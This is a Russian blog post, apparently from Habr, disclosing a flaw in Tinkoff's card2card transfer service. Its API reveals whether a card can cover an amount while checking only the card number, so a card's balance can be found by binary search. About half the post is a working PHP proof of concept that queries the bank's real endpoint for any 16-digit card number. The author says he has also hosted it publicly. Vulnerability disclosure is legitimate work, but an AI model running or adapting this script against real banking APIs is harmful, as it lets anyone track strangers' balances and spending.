Tinkoff скомпрометировал данные о балансе карт своих клиентов

в 18:09, , рубрики: банки, информационная безопасность, уязвимости

Началось все с того, что в один прекрасный вечер попросил меня друг закинуть ему денег на карточку. Всегда решал такие проблемы либо через интернет-банк, либо через мобильное приложение, но поскольку с недавних пор у них интернет-банк превратился в дикого монстра, на этот раз решил воспользоваться их сервисом card2card.

Заполняю себе спокойно поля, и тут случается неожиданное:

Tinkoff скомпрометировал данные о балансе карт своих клиентов - 1

Подождите, ведь я же не нажал кнопку отправить! Откуда это взялось? Поигрался с суммой, проверяется реальная сумма на карте.

Сначала я грешным делом подумал, что аякс отправляет на сервер все данные карты, включая CVC и срок действия, при каждом редактировании. Это, конечно, свинство, но https — пусть творят что хотят. Захожу в запросы браузера:

Tinkoff скомпрометировал данные о балансе карт своих клиентов - 2

CVC не передается, это уже интересно. Зато передается срок действия, хоть какая-то защита, думаю я, хотя все еще в недоумении зачем проверять баланс карты аяксом на лету.

Но все же интерес докопать до конца не покидает и редактирую запрос:

Tinkoff скомпрометировал данные о балансе карт своих клиентов - 3

Упс. На обратном конце не проверяется ничего, кроме номера карты отправителя.

Очевидно, что методом простого перебора легко подобрать сумму, ниже которой все ок, а выше уже ошибка — это и будет баланс карты. То есть, зная один лишь номер карты (который конечно информация не слишком публичная, но и не критичная, многие дают номера карт друзьям и даже выкладывают их в интернет для получения платежей) можно узнать, сколько там денег. Причем, как показали эксперименты, никакие месячные лимиты на это не влияют.

Дырка не критичная, но доступность этой информации в реальном времени позволяет отслеживать все расходы/пополнения — а это уже серьезнее.

Сразу же отписался безопасникам по публично доступной почте, но реакции, как обычно, ноль.

Быстренько набросал proof of concept (сильно не бейте, мой опыт программирования — бейсик в школе).

php внутри

<?php
header( 'Content-type: text/html; charset=utf-8' );

$card = $_GET['card'];
$card = preg_replace('/[^0-9]+/', '', $card);

if (strlen($card) != 16) {
	exit('<br>Wrong card number: ' . $card);
	
}

echo 'Probing card ' . $card . '... <br>';

flush();
ob_flush();
sleep(1);

$money = 50000;

$max = 1000000;
$min = 0;

$done = false;
$iter = 0;

while ($done == false) {

if($iter %5 == 0) {
  echo 'Still working, please hang on...<br>';
  flush();
  ob_flush();
  sleep(1);

}

$json = file_get_contents('https://www.tinkoff.ru/api/v1/payment_commission/?paymentType=Transfer¤cy=RUB&moneyAmount=' . $money . '&provider=c2c-anytoany&sessionid=1&origin=prt&cardNumber=' . $card . '&fieldtoCardNumber=5213243731243612&fieldagreement=&securityCode=cvc&expiryDate=10/20');
$obj = json_decode($json);
$result = $obj->{'resultCode'};

  if ($result == "OK") {
    //need to increase
	$min = $money;
	$money = ($min + $max) /2;
	$last_total_money = round($obj->payload->total->value);
	
  } else {
    //need to decrease
	$max = $money;
	$money = ($min + $max) /2;
  }
  
  $iter++;
  
  if ((floor($max) - floor($min)) == 0) {
  
    $done = true;
	echo '<br><br>Money amount is ' . $last_total_money . ' roubles.';
  }
  
  if ($iter > 50) {
	  exit('<br><br>Something went terribly wrong, or the bug is already fixed. Last amount is ' . $last_total_money);
  }
  
}

?>

Так же залил на tcs.arhs.ru, но хабраэффекта скорее всего не выдержит.

Ну и на правах побрюзжать. Последний интернет-банк получился абсолютно неюзабельным, грустно читать тут статьи разработчиков, которые им еще и гордятся. Переборщили так, что даже заходить лишний раз не хочется, грузится подольше некоторых игрушек, хорошо, хоть мобильное приложение пока нормальное.

Автор: kromm

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js